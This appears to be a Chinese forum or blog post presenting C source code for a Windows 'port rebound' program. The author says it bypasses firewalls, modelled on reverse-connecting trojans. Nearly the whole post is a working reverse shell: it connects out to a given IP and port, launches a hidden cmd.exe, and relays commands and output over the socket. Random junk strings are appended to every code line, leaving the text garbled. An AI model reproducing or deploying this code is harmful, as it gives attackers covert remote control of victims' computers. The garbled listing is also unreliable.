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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^;Ap-2Ww  
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/* ============================== [ @&  
Rebound port in Windows NT p@>_1A}qh_  
By wind,2006/7 R\1#)3e0  
===============================*/ H4Pj 3'  
#include Dj #G{X".  
#include :+m|KC(Z  
wD}[XE?S  
#pragma comment(lib,"wsock32.lib") }.MJVB3  
o= N=W  
void OutputShell();  fW|1AUD,  
SOCKET sClient; MQw{^6Z>1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B%cjRwOT  
FZb\VUmnV  
void main(int argc,char **argv) g:O~1jq  
{ ImyB4welo  
WSADATA stWsaData; j<wWPv  
int nRet; zeNvg/LI^  
SOCKADDR_IN stSaiClient,stSaiServer; )^L+iht  
$w#C;2k]N  
if(argc != 3) 8X[G)J;  
{ vvFXdHP  
printf("Useage:\n\rRebound DestIP DestPort\n"); Kh'/Ne?  
return; fqFE GyeNr  
} jsfyNl? 6  
w/E4wp  
WSAStartup(MAKEWORD(2,2),&stWsaData); q-X)tH_+w@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xn9TQ"[4  
)r5QOa/  
stSaiClient.sin_family = AF_INET; ]X;Ty\UD&  
stSaiClient.sin_port = htons(0); 4E&URl0Bh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?VO*s-G:J  
7AHEzJh"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oq(um:m  
{ Bp>%'L  
printf("Bind Socket Failed!\n"); L]9uY  
return; *5.s@L( VU  
} xSug-  
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stSaiServer.sin_family = AF_INET; cAV9.VS<L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;v*$6DIC5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n3jA[p:  
x]XhWScr '  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e*Sv}4e=.  
{ `lqMifD  
printf("Connect Error!"); v/}M _E  
return; wQlK[F]!>  
} =>n:\_*M  
OutputShell(); G*3O5m  
} ?)'j;1_=E3  
4:y;<8+j\  
void OutputShell() q --NLm@;  
{ 6rF[eb  
char szBuff[1024]; WojZ[j>  
SECURITY_ATTRIBUTES stSecurityAttributes; |wQ|h$|  
OSVERSIONINFO stOsversionInfo; P`cEu6:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [XhuJdr"u  
STARTUPINFO stStartupInfo; .~4%TsBaY  
char *szShell; wJ/k\  
PROCESS_INFORMATION stProcessInformation; e(O"V3wq*6  
unsigned long lBytesRead; ]ta]OK{s"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w%GEOIj}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4%aODr8  
stSecurityAttributes.lpSecurityDescriptor = 0; K%1'zSAyK  
stSecurityAttributes.bInheritHandle = TRUE; 2_ <  
90Jxn'>^  
593D/^}D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %o.{h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4?jXbC k~x  
{~.h;'m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?9i 7w1`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sX^m1v~N|  
stStartupInfo.wShowWindow = SW_HIDE; RYZh"1S;k  
stStartupInfo.hStdInput = hReadPipe; /<\>j+SC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w*eO9k  
66,?f<b  
GetVersionEx(&stOsversionInfo); s>9w+|6Ji  
#(?EL@5  
switch(stOsversionInfo.dwPlatformId) XuVbi=pN.2  
{ %($sj| _l  
case 1: W+Z] Y  
szShell = "command.com"; Z6 E-FuO  
break; dUk^DI,:l  
default: bu1O<*  
szShell = "cmd.exe"; MR:Co4(  
break; 9mIq9rQ|*  
} w3a`G|  
w[qWr@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r%}wPN(?D  
#5-0R7\d7  
send(sClient,szMsg,77,0); q%]0%S?  
while(1) ,/BBG\mJ  
{ ygW,4Vz7J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Mmq{]q~At  
if(lBytesRead) CD:@OI  
{ J0~Ha u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qb!9QlW  
send(sClient,szBuff,lBytesRead,0); C%85Aq*4  
} 22a$//}E  
else O{y2tz3  
{ ~N&j6wHg#  
lBytesRead=recv(sClient,szBuff,1024,0); | y\B*P  
if(lBytesRead<=0) break; MS%xOB*6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \(R(S!xr_  
} DI'wZySS^  
} Ratg!l|'-  
8j. 9Sk/  
return; 8sOM%y9M  
}
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